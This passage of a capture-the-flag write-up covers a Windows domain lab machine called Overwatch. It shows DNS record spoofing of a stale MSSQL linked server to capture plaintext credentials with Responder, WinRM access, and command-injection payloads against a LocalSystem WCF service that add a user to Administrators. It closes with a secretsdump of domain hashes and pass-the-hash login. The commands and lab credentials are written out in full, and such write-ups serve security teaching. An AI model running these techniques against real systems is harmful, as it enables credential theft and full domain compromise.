[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)>

There’s one non-standard database, overwatch:

SQL (OVERWATCH\sqlsvc  guest@master)> enum_db
name        is_trustworthy_on   
---------   -----------------   
master                      0   
tempdb                      0   
model                       0   
msdb                        1   
overwatch                   0 

It has one table:

SQL (OVERWATCH\sqlsvc  guest@master)> use overwatch;
ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> select name from sys.tables;
name       
--------   
Eventlog   

It’s empty:

SQL (OVERWATCH\sqlsvc  dbo@overwatch)> select * from EventLog;
Id   Timestamp   EventType   Details   
--   ---------   ---------   ------- 

There’s no impersonation, or interesting logins, owner, or user:

SQL (OVERWATCH\sqlsvc  dbo@overwatch)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> enum_logins
name               type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
----------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                 SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
BUILTIN\Users      WINDOWS_GROUP             0          0               0             0            0              0           0           0           0   
OVERWATCH\sqlsvc   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> enum_owner
Database    Owner              
---------   ----------------   
master      sa                 
tempdb      sa                 
model       sa                 
msdb        sa                 
overwatch   OVERWATCH\sqlsvc  
SQL (OVERWATCH\sqlsvc  dbo@overwatch)> enum_users
UserName             RoleName   LoginName          DefDBName   DefSchemaName       UserID                                                           SID   
------------------   --------   ----------------   ---------   -------------   ----------   -----------------------------------------------------------   
dbo                  db_owner   OVERWATCH\sqlsvc   master      dbo             b'1         '   b'01050000000000051500000002d9b7a6b0b75e51f445f10d50040000'   
guest                public     NULL               NULL        guest           b'2         '                                                         b'00'   
INFORMATION_SCHEMA   public     NULL               NULL        NULL            b'3         '                                                          NULL   
sys                  public     NULL               NULL        NULL            b'4         '                                                          NULL

There is a linked server, SQL07:

SQL (OVERWATCH\sqlsvc  dbo@overwatch)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------

Just like in DarkZero, I can try to use the linked server to see if the permissions are any different, but it hangs and times out:

SQL (OVERWATCH\sqlsvc  dbo@overwatch)> use_link [SQL07]
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [53]. 

It’s unable to find the server. I can try to run a command directly, but it does the same:

SQL (OVERWATCH\sqlsvc  dbo@overwatch)> EXEC ('SELECT SYSTEM_USER') AT [SQL07];
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [53]. 

SQL07Machine

The SQL07 machine isn’t responding. I can try to look it up from the DC’s DNS:

oxdf@hacky$ nslookup SQL07.overwatch.htb S200401.overwatch.htb
Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

** server can't find SQL07.overwatch.htb: NXDOMAIN

oxdf@hacky$ nslookup SQL07 S200401.overwatch.htb
;; Got SERVFAIL reply from 10.129.244.81
Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

** server can't find SQL07: SERVFAIL

It doesn’t have a record. For contrast, if I look up the DC, it returns the IP addresses:

oxdf@hacky$ nslookup S200401.overwatch.htb S200401.overwatch.htb
Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

Name:   S200401.overwatch.htb
Address: 10.129.244.81
Name:   S200401.overwatch.htb
Address: dead:beef::85b8:db49:15c3:6302

LDAP can give a list of computers on the domain:

oxdf@hacky$ ldapsearch -x -H ldap://overwatch.htb -D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' -b 'DC=overwatch,DC=htb' '(&(objectClass=computer)(!(name=S200401)))' name dNSHostName operatingSystem servicePrincipalName
# extended LDIF
#
# LDAPv3
# base  with scope subtree
# filter: (&(objectClass=computer)(!(name=S200401)))
# requesting: name dNSHostName operatingSystem servicePrincipalName 
#

# SQL03, Computers, overwatch.htb
dn: CN=SQL03,CN=Computers,DC=overwatch,DC=htb
name: SQL03

# NB001, Computers, overwatch.htb
dn: CN=NB001,CN=Computers,DC=overwatch,DC=htb
name: NB001

# NB002, Computers, overwatch.htb
dn: CN=NB002,CN=Computers,DC=overwatch,DC=htb
name: NB002

# File01, Computers, overwatch.htb
dn: CN=File01,CN=Computers,DC=overwatch,DC=htb
name: File01

# S200400, Computers, overwatch.htb
dn: CN=S200400,CN=Computers,DC=overwatch,DC=htb
name: S200400

# search reference
ref: ldap://ForestDnsZones.overwatch.htb/DC=ForestDnsZones,DC=overwatch,DC=htb

# search reference
ref: ldap://DomainDnsZones.overwatch.htb/DC=DomainDnsZones,DC=overwatch,DC=htb

# search reference
ref: ldap://overwatch.htb/CN=Configuration,DC=overwatch,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 9
# numEntries: 5
# numReferences: 3

It finds a few, but no SQL07. There is an SQL03. Maybe it moved and the link hasn’t been updated yet.

sqlsvc Account

Another thing to check is what ACLs the sqlsvc account has. bloodyAD has a nice check, get writable:

oxdf@hacky$ bloodyAD --host S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

The first two are noise. S-1-5-11 is the well-known SID for Authenticated Users, and WRITE on CN=sqlsvc is just sqlsvc writing to its own user object. Neither is actionable.

The other two are the interesting ones. Both AD-integrated DNS zone containers (overwatch.htb in DomainDnsZones and _msdcs.overwatch.htb in ForestDnsZones) allow CREATE_CHILD, which means I can add dnsNode objects under them, i.e. write new DNS records into the zones the DC itself answers from. This is the AD-integrated DNS analogue of being a DnsAdmins member for those zones, without needing the group membership.

Recover Password

The reason EXEC ... AT [SQL07] failed earlier was that the host for the linked server doesn’t resolve. If I create a record for SQL07.overwatch.htb that resolves to my VM, the next time the SQL Server tries the linked server, it will dutifully connect (and authenticate) to me, and I can capture or relay the authentication that the SQL Server makes outbound.

I’ll add the record with bloodyAD:

oxdf@hacky$ bloodyAD --host S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv add dnsRecord SQL07 10.10.14.61
[+] SQL07 has been successfully added

A few seconds later, it’s there:

oxdf@hacky$ nslookup SQL07.overwatch.htb S200401.overwatch.htb
Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

Name:   SQL07.overwatch.htb
Address: 10.10.14.61

I’ll start Responder, and run use_link SQL07 from the mssqlclient.py shell. At Responder:

oxdf@hacky$ sudo uv run /opt/Responder/Responder.py -I tun0
...[snip]...
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

That’s plaintext credentials from the server trying to authenticate to the linked server. That’s because the linked server must have been configured with a stored SQL Authentication remote login (an sp_addlinkedsrvlogin mapping) rather than Windows auth. With SQL auth, the username and password ride inside the TDS LOGIN7 packet using only a trivial obfuscation (nibble swap plus XOR with 0xA5), which is effectively plaintext on the wire. Responder’s MSSQL listener decodes that automatically. If the link had used Windows auth, I would have gotten an NTLM challenge/response hash instead.

Shell

Remote Management

A quick ldapsearch shows that sqlmgmt is in the Remote Management Users group:

oxdf@hacky$ ldapsearch -x -H ldap://overwatch.htb -D 'sqlsvc@overwatch.htb' -w 'TI0LKcfHzZw1Vv' -b 'DC=overwatch,DC=htb' '(sAMAccountName=sqlmgmt)' memberOf
# extended LDIF
#
# LDAPv3
# base  with scope subtree
# filter: (sAMAccountName=sqlmgmt)
# requesting: memberOf 
#

# sqlmgmt, Users, overwatch.htb
dn: CN=sqlmgmt,CN=Users,DC=overwatch,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=overwatch,DC=htb

# search reference
ref: ldap://ForestDnsZones.overwatch.htb/DC=ForestDnsZones,DC=overwatch,DC=htb

# search reference
ref: ldap://DomainDnsZones.overwatch.htb/DC=DomainDnsZones,DC=overwatch,DC=htb

# search reference
ref: ldap://overwatch.htb/CN=Configuration,DC=overwatch,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3

netexec shows it as well:

oxdf@hacky$ netexec winrm S200401.overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
WINRM       10.129.244.81   5985   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
WINRM       10.129.244.81   5985   S200401          [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)

WinRM

I’ll use evil-winrm-py to get a shell:

oxdf@hacky$ evil-winrm-py -i S200401.overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'sqlmgmt'
evil-winrm-py PS C:\Users\sqlmgmt\Documents>

And the user flag:

evil-winrm-py PS C:\Users\sqlmgmt\Desktop> cat user.txt
956ab1b5************************

Shell as Administrator

Enumeration

Users

The sqlmgmt directory is empty:

evil-winrm-py PS C:\Users\sqlmgmt> tree /f .
Folder PATH listing
Volume serial number is 736A-0306
C:\USERS\SQLMGMT
+---Desktop
¦       user.txt
¦       
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos

There are no other interesting users with accounts in C:\Users:

evil-winrm-py PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/16/2025   4:06 PM                Administrator
d-r---         5/16/2025   4:06 PM                Public
d-----         5/16/2025   8:08 PM                sqlmgmt  

Filesystem

The root of C:\ is pretty empty:

evil-winrm-py PS C:\> ls

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/16/2025   4:35 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         5/16/2025   8:11 PM                Program Files
d-----         5/16/2025   5:35 PM                Program Files (x86)
d-----         5/16/2025   5:30 PM                SQL2022
d-r---         5/16/2025   8:08 PM                Users
d-----        12/31/2025  11:17 PM                Windows  

inetpub only has an empty DeviceHealthAttestation\bin directory, nothing to chase there. The MSSQL installation is at the root, but there’s nothing interesting there. The two Program Files directories contain some dev tools, but the most interesting thing is nssm-2.24 (the Non-Sucking Service Manager), a tool used to wrap arbitrary executables as Windows services. On a server, this almost always means something has been registered as a service through it. Given the WCF MonitoringService in overwatch.exe.config and the missing port 8000 listener, NSSM is the most likely candidate for how overwatch.exe is meant to be run as a service. NSSM service definitions live under HKLM\SYSTEM\CurrentControlSet\Services\\Parameters.

I’ll grab all the services running under nssm.exe:

evil-winrm-py PS C:\> Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services' | Where-Object { (Get-ItemProperty $_.PSPath -ErrorAction  SilentlyContinue).ImagePath -like '*nssm*' }

    Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Name                           Property
----                           --------
overwatch                      Type                             : 16
                               Start                            : 2
                               ErrorControl                     : 1
                               ImagePath                        : C:\Program Files\nssm-2.24\win64\nssm.exe
                               DisplayName                      : overwatch
                               ObjectName                       : LocalSystem
                               DelayedAutostart                 : 0
                               FailureActionsOnNonCrashFailures : 1
                               FailureActions                   : {0, 0, 0, 0...}

There’s only one, named overwatch. It’s running overwatch.exe from the Software directory:

evil-winrm-py PS C:\> Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\overwatch\Parameters'

Application   : C:\Software\Monitoring\overwatch.exe
AppParameters : 
AppDirectory  : C:\Software\Monitoring
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\
                CurrentControlSet\Services\overwatch\Parameters
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\
                CurrentControlSet\Services\overwatch
PSChildName   : Parameters
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry

Overwatch

Software didn’t show up in the ls above because it’s hidden:

evil-winrm-py PS C:\> ls -force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-          5/8/2021   1:20 AM                $Recycle.Bin
d--h--        12/31/2025  10:46 PM                $WinREAgent
d--hs-         5/16/2025   5:37 PM                Config.Msi
d--hsl         5/16/2025  11:05 PM                Documents and Settings
d-----         5/16/2025   4:35 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         5/16/2025   8:11 PM                Program Files
d-----         5/16/2025   5:35 PM                Program Files (x86)
d--h--        12/31/2025  10:46 PM                ProgramData
d--hs-         5/16/2025  11:05 PM                Recovery
d--h--         5/16/2025   6:27 PM                Software
d-----         5/16/2025   5:30 PM                SQL2022
d--hs-          7/1/2025   9:39 AM                System Volume Information
d-r---         5/16/2025   8:08 PM                Users
d-----        12/31/2025  11:17 PM                Windows
-a-hs-         4/24/2026   3:13 PM          12288 DumpStack.log.tmp
-a-hs-         4/24/2026   3:13 PM      738197504 pagefile.sys  

d--h-- shows it’s a directory and it’s hidden. Inside Software\Monitoring is the full application, also hidden:

evil-winrm-py PS C:\Software\Monitoring> ls -force

    Directory: C:\Software\Monitoring

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--h--         5/16/2025   6:32 PM                x64
d--h--         5/16/2025   6:32 PM                x86
-a-h--         4/16/2020   1:38 PM        4991352 EntityFramework.dll
-a-h--         4/16/2020   1:38 PM         591752 EntityFramework.SqlServer.dll
-a-h--         4/16/2020   1:38 PM         163193 EntityFramework.SqlServer.xml
-a-h--         4/16/2020   1:38 PM        3738289 EntityFramework.xml
-a-h--         7/17/2017   7:46 AM          36864 Microsoft.Management.Infrastructure.dll
-a-h--         5/16/2025   6:19 PM           9728 overwatch.exe
-a-h--         5/16/2025   6:02 PM           2163 overwatch.exe.config
-a-h--         5/16/2025   6:19 PM          30208 overwatch.pdb
-a-h--         9/29/2024   1:41 PM         450232 System.Data.SQLite.dll
-a-h--         9/29/2024   1:40 PM         206520 System.Data.SQLite.EF6.dll
-a-h--         9/29/2024   1:40 PM         206520 System.Data.SQLite.Linq.dll
-a-h--         9/28/2024  11:48 AM        1245480 System.Data.SQLite.xml
-a-h--         7/17/2017   7:46 AM         360448 System.Management.Automation.dll
-a-h--         7/17/2017   7:46 AM        7145771 System.Management.Automation.xml

It is a running process:

evil-winrm-py PS C:\> Get-Process overwatch

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    294      19    32480      31876              4668   0 overwatch 

A quick check of listening sockets confirms TCP 8000 is bound:

evil-winrm-py PS C:\> Get-NetTCPConnection -State Listen -LocalPort 8000 | Select-Object LocalAddress,LocalPort,OwningProcess

LocalAddress LocalPort OwningProcess
------------ --------- -------------
::                8000             4
0.0.0.0         8000             4

PID 4 on Windows is the kernel System process. HTTP-bound .NET services don’t open the socket themselves, instead registering a URL prefix with http.sys, the kernel HTTP listener, and http.sys (running as part of System) holds the socket on their behalf and dispatches requests up to the user-mode process. So PID 4 owning port 8000 is exactly what I’d expect for a WCF service using basicHttpBinding against http://overwatch.htb:8000/MonitorService.

netsh http show servicestate walks the live http.sys state, listing every URL group currently registered, the request queues attached to it, and the user-mode process IDs subscribed to receive requests for those URLs. Where urlacl only shows static reservations, this view shows what is actually being dispatched right now:

evil-winrm-py PS C:\> netsh http show servicestate

Snapshot of HTTP service state (Server Session View):
-----------------------------------------------------
...[snip]...
Server session ID: FD00000010000001
...[snip]...
    URL groups:
    URL group ID: FF00000120000001
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://+:8000/MONITORSERVICE/
                
Request queues:
...[snip]...
    Request queue name: Request queue is unnamed.
        Version: 2.0
        State: Active
        Request queue 503 verbosity level: Basic
        Max requests: 1000
        Number of active processes attached: 1
        Processes:
            ID: 4668, image: 
        Registered URLs:
            HTTP://+:8000/MONITORSERVICE/

The following useful pieces of information come out of this:

The registered URL prefix is HTTP://+:8000/MONITORSERVICE/. The + is the http.sys wildcard that matches any incoming Host header. So even though the WCF config says http://overwatch.htb:8000/MonitorService, hitting http://localhost:8000/MonitorService/ (or the IP, or the FQDN) will all reach the same handler.
Under Processes, the request queue is attached to PID 4668, which is the same overwatch.exe PID I saw earlier with Get-Process. That confirms the user-mode WCF host is overwatch.exe itself, with http.sys (PID 4) just holding the socket on its behalf.

Command Injection

Strategy

At this point I have a WCF service exposing the KillProcess PowerShell-injection sink, running as LocalSystem and reachable from the localhost-side of the firewall on http://localhost:8000/MonitorService/. If I can call KillProcess with an injection payload I’ll have RCE.

I’ll show four ways to interact with the WCF application:

PowerShell Raw SOAP
PowerShell WebServiceProxy
WCF Inline Client
WCF Binary Client

PowerShell Raw SOAP

I’ll create a SOAP payload for the WCF request. It’s XML, and pretty printed it will look like:

$soap = @'

      x; whoami #
    
'@

The important part is the processName parameter, which I’ve set up to do a command injection to run whoami followed by a comment to remove the rest of the line.

This becomes a one-liner to paste into my shell:

evil-winrm-py PS C:\> $s='x; whoami #'

And then I trigger it:

evil-winrm-py PS C:\> (iwr 'http://localhost:8000/MonitorService/' -Method POST -ContentType 'text/xml; charset=utf-8' -Headers @{'SOAPAction'='"http://tempuri.org/IMonitoringService/KillProcess"'} -Body $s -UseBasicParsing).Content
nt authority\system


This is a POST request to localhost:8000/MonitorService with a header to identify the KillProcess function and the SOAP body. It says “nt authority\system” in the KillProcessResult block, which makes sense given the NSSM service was registered with ObjectName: LocalSystem (seen earlier in the registry dump).

To abuse this further I’ll update the payload to add the sqlmgmt user to the Administrators group:

$soap = @'

      x; net localgroup Administrators sqlmgmt /add
    
'@

Run it as a one liner:

evil-winrm-py PS C:\> $s='x; net localgroup Administrators sqlmgmt /add'

I’ll trigger it:

evil-winrm-py PS C:\> (iwr 'http://localhost:8000/MonitorService/' -Method POST -ContentType 'text/xml; charset=utf-8' -Headers @{'SOAPAction'='"http://tempuri.org/IMonitoringService/KillProcess"'} -Body $s -UseBasicParsing).Content
The command completed successfully.

It reports success.

PowerShell WebServiceProxy

A much simpler shortcut is to use a WebServiceProxy, which will provide an interface to handle the underlying complexity. I’ll create the proxy:

evil-winrm-py PS C:\> $proxy = New-WebServiceProxy -Uri "http://localhost:8000/MonitorService?wsdl" -Namespace "WcfProxy"

The $proxy object can now talk directly to the WCF endpoint:

evil-winrm-py PS C:\> $proxy.KillProcess('x; net localgroup administrators sqlmgmt /add; #')
The command completed successfully.

WCF Inline Client

Above I used the raw SOAP API, but the more natural way to interact with the WCF interface is with a WCF client. One way to do that is from PowerShell:

Add-Type -TypeDefinition @'
using System.ServiceModel;                                
[ServiceContract(Namespace="http://tempuri.org/")]
public interface IMonitoringService {                     
    [OperationContract] string KillProcess(string processName);
}
public static class Client {
    public static string Run(string p) {                  
        var f = new ChannelFactory(
            new BasicHttpBinding(),
            new EndpointAddress("http://localhost:8000/MonitorService/"));
        return f.CreateChannel().KillProcess(p);
    }                                                     
}
'@ -ReferencedAssemblies System.ServiceModel
[Client]::Run('x; whoami #')

Flattened to a single line so it pastes through evil-winrm-py cleanly, it works:

evil-winrm-py PS C:\> $src='using System.ServiceModel; [ServiceContract(Namespace="http://tempuri.org/")] public interface IMonitoringService { [OperationContract] string KillProcess(string processName); } public static class Client { public static string Run(string p) { var f = new ChannelFactory(new BasicHttpBinding(), new EndpointAddress("http://localhost:8000/MonitorService/"));  return f.CreateChannel().KillProcess(p); } }'; Add-Type -TypeDefinition $src -ReferencedAssemblies System.ServiceModel; [Client]::Run('x; whoami #')
nt authority\system

I can do the same thing here to add sqlmgmt to Administrators group, or other abuses from the context of nt authority\system.

WCF Binary Client

Probably the most common way to interact with a WCF program is to make a client program. I’ll create a simple WCF program on my VM:

using System;
using System.ServiceModel;                                

[ServiceContract(Namespace = "http://tempuri.org/")]
public interface IMonitoringService {
        [OperationContract] string KillProcess(string processName);
}                                                         

class Program {
    static void Main(string[] args) {
        var binding = new BasicHttpBinding();
        var endpoint = new EndpointAddress("http://localhost:8000/MonitorService/");
        using (var factory = new ChannelFactory<IMonitoringService>(binding, endpoint)) {
            var client = factory.CreateChannel();
            Console.WriteLine(client.KillProcess("x; " + args[0] + " #"));
        }
    }                                                     
} 

This program opens a typed IMonitoringService channel against the WCF endpoint and invokes KillProcess with the injection wrapper built in.

I’ll upload this to Overwatch and compile it:

evil-winrm-py PS C:\programdata> wget 10.10.14.61/client.cs -outfile client.cs
evil-winrm-py PS C:\programdata> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.ServiceModel.dll /out:client.exe client.cs
Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

That produces an executable, which I’ll run, giving the command I want to run:

evil-winrm-py PS C:\programdata> .\client.exe "whoami"
nt authority\system

I can also just read the flag (from any of these methods)

evil-winrm-py PS C:\programdata> .\client.exe "Get-Content C:\users\administrator\desktop\root.txt"
f263ec97************************

Shell as Administrator

With a user in the Administrators group, I’ll evil-winrm-py back in as sqlmgmt:

oxdf@hacky$ evil-winrm-py -i S200401.overwatch.htb -u sqlmgmt -p 'bIhBbzMMnB82yx'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'sqlmgmt'
evil-winrm-py PS C:\Users\sqlmgmt\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                                     
========================================== ================ ============ ===============================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group             
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level       Label            S-1-16-12288 

Or I can dump the administrator user’s hash:

oxdf@hacky$ secretsdump.py overwatch/sqlmgmt:bIhBbzMMnB82yx@S200401.overwatch.htb -just-dc-user administrator
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:2f3c0c1b2c6b7640c5aa32aefa9ae4876b90f3111bddcc4e3d6a6abae8c18320
Administrator:aes128-cts-hmac-sha1-96:2c9b1138615b727dd96f100d4f1327ca
Administrator:des-cbc-md5:988c5b85b04fb358
[*] Cleaning up...

And connect with that:

oxdf@hacky$ evil-winrm-py -i S200401.overwatch.htb -u administrator -H 269fa056205bbf5d47fc2c3682dbbce6
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

Either of these shells can get root.txt:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
f263ec97************************

Beyond Root - HTB Log Leak

dism.log

Log Format

DISM is Windows’ Deployment Image Servicing and Management stack, the engine behind dism.exe and the PowerShell Dism module that provides Get-WindowsFeature, Add-WindowsCapability, Get-WindowsOptionalFeature. The file is appended to every time a process loads the DismApi.dll DLL, which is what provides these functions. Each session is bookended with <----- Starting DismApi.dll session -----> and a matching Ending line, and at the top of every session DISM writes a chunk of forensic-flavored fields such as API and OS version, processor count, log level, scratch directory, and the parent process command line. For example, the first full session in the log on Overwatch looks like:

<----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: Host machine information: OS Version=10.0.20348, Running architecture=amd64, Number of processors=2 - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: API Version 10.0.20348.1 - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: Parent process command line: "C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Input parameters: LogLevel: 2, LogFilePath: (null), ScratchDirectory: (null) - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Initialized GlobalConfig - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Initialized SessionTable - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4352 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4352 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Created g_internalDismSession - DismInitializeInternal
